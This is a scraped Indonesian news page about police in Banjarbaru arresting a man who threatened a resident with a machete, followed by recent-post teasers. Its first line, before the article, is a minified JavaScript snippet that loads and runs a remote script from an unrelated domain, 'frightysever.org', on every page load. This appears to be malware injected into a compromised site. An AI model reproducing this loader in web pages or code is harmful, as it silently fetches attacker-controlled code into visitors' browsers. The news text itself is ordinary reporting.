(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Rambo Pakai Parang di Liang Anggang Dibawa Polisi


KANALKALIMANTAN.COM, BANJARBARU – Seorang laki-laki berinisial DR (56) alias Rambo pakai parang mengancam seorang warga di Jalan Jurusan Pelaihari, Liang Anggang, Kota Banjarbaru.

Peristiwa pengancaman Rambo, warga Jalan Peramuan Komplek Tamara Permai Indah, Kelurahan Landasan Ulin Tengah yang menggunakan sebilah parang itu terjadi di kawasan Jalan Kelurahan RT 009 RW 003, Liang Anggang, Kota Banjarbaru pada Jumat (12/8/2022) sekitar pukul 01.30 Wita.

Kapolsek Liang Anggang AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Liang Anggang Aipda Kardi Gunadi mengatakan, saat itu pelapor sedang tidur di atas kendaraannya dan kemudian dihampiri oleh Rambo dengan menenteng sebilah parang.

“Rambo mendatangi pelapor sambil memegang parang dengan berkata timpas kah (Bacok, red) karena ketakutan pelapor dan satu saksi menjauh dari lokasi kejadin,” ujar Aipda Kardi Gunadi, Selasa (16/8/2022) siang.

 

 

Baca juga: ‘Alarm’ HIV/AIDS di Banjarbaru, Sebagian Penderita Belum Terdeteksi

Aipda Kardi mengatakan kronologi kejadi berawal dari kesalahpahaman antara Rambo dan pelapor. Terkait pekerjaan bongkar muat kayu yang kemudian tersulutnya emosi Rambo.“Pelaku melakukan pengancaman terhadap pelapor, karena adanya kesalahpahaman antara pelaku dan pelapor, yaitu masalah bongkar kayu karena pelaku saat itu baru saja menurunkan kayu, sedangkan pelapor sudah berkali-kali, sehingga pelaku langsung emosi kepada korban, dan adapun maksud dan tujuan pelaku mengancam hanya ingin menakut-nakuti saja,” bebernya.

Menanggapi laporan tersebut, Kapolsek Liang Anggang menerjunkan Macan Barbar yang dipimpin Aiptu Deden A Lesmana, kemudian berhasil meringkus Rambo di rumahnya Jalan Kelurahan.

“Kini Rambo dan barang bukti sebilah parang yang digunakan untuk mengancam korban sudah diamankan di Mapolsek Liang Anggang,” katanya.

Berdasarkan tindakannya, Rambo terjerat Pasal 2 ayat (1) UU Darurat No. 12 tahun 1951 atau Pasal 335 KUHP. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.